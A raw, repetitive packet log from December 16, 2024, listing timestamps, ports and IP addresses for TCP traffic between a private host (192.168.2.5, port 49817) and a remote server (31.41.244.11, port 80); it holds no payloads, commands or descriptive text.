Dec 16, 2024 09:01:10.810652018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.810703993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.810758114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.810796022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.811671972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.811722040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.811813116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.811855078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.812628031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.812680960 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.812755108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.812804937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.813616037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.813669920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.813720942 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.813770056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.814603090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.814650059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.814722061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.814759016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.815653086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.815696955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.815712929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.815751076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.816605091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.816654921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.816699028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.816740036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.817604065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.817656994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.817678928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.818360090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.818602085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.818651915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.818706036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.818752050 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.819593906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.819633007 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.819683075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.819734097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.820588112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.820637941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.820673943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.820714951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.821667910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.821724892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.821763039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.821801901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.822763920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.822789907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.822823048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.822844028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.824364901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.824414015 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.824561119 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.824598074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.825692892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.825752020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.825786114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.825900078 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.826446056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.826483011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.826494932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.826534986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.827330112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.827369928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.827406883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.827439070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.828205109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.828248978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.828298092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.828336954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.829301119 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.829343081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.829385996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.829427004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.830954075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.830991030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.831203938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.831243038 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.831964016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.832011938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.832086086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.832134962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.832874060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.832926989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.832973003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.833013058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.833758116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.833800077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.833820105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.833861113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.834522963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.834547997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.834570885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.834590912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.835174084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.835216999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.835263968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.835310936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.836019993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.836071968 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.836163998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.836204052 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.836849928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.836898088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.836935043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.836971045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.837665081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.837719917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.837743998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.837785006 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.838562965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.838589907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.838603973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.838620901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.839477062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.839517117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.839613914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.839653969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.840526104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.840573072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.840620041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.840661049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.841567039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.841618061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.841742039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.841787100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.843380928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.843430042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.843494892 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.843539953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.843910933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.843954086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.844039917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.844090939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.844851017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.844907045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.844954967 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.845000982 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.845634937 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.845691919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.845726013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.845771074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.846482992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.846605062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.846698999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.847484112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.847546101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.847615004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.847664118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.848522902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.848588943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.848663092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.848712921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.849514961 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.849566936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.849641085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.849683046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.850406885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.850492001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.990422010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.990467072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.990539074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.990572929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.990919113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.990974903 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.991122961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.991906881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.991964102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.991983891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.992029905 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.992898941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.992953062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.993027925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.993077040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.993885040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.993967056 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.994049072 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.994097948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.994915009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.994972944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.994991064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.995039940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.995959044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.996006966 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.996014118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.996062994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.996879101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.996932030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.996999025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.997047901 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.997947931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.997996092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.998003960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.998053074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.998970985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.999008894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.999023914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.999051094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.999908924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.999960899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.000044107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.000092030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.000876904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.000925064 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.000992060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.001040936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.001840115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.001889944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.001957893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.002002954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.002885103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.002931118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.003016949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.003063917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.003853083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.003901005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.003988028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.004035950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.004853010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.004899979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.004966021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.005016088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.005868912 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.005918026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.005985022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.006032944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.006827116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.006875992 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.006939888 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.006988049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.007941961 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.007987976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.007997990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.008048058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.009030104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.009068012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.009078979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.009110928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.009819984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.009869099 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.009938002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.009980917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.010814905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.010864973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.010931015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.010979891 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.011847973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.011899948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.011966944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.012015104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.012840986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.012891054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.013030052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.013079882 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.013813019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.013860941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.013881922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.013931036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.014802933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.014853001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.014919043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.014967918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.015796900 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.015846014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.015927076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.015974998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.016820908 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.016870975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.016926050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.016973972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.017812014 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.017862082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.017942905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.017992973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.018802881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.018851995 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.018918037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.018965006 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.019809008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.019866943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.019932985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.019979954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.020796061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.020843983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.020909071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.020956993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.021821022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.021867990 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.021873951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.021938086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.022769928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.022818089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.022825956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.022874117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.023773909 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.023824930 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.023891926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.023937941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.024805069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.024852037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.024924994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.024972916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.025778055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.025830984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.025895119 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.025942087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.026827097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.026875973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.026915073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.026962996 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.027779102 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.027826071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.027883053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.027930975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.028884888 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.028933048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.029000044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.029047966 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.029740095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.029792070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.029858112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.029905081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.030751944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.030798912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.030870914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.030919075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.031759977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.031806946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.031877041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.031924009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.032752037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.032861948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.032869101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.032916069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.033720970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.033768892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:11.033840895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:11.033889055 CET	49817	80	192.168.2.5	31.41.244.11
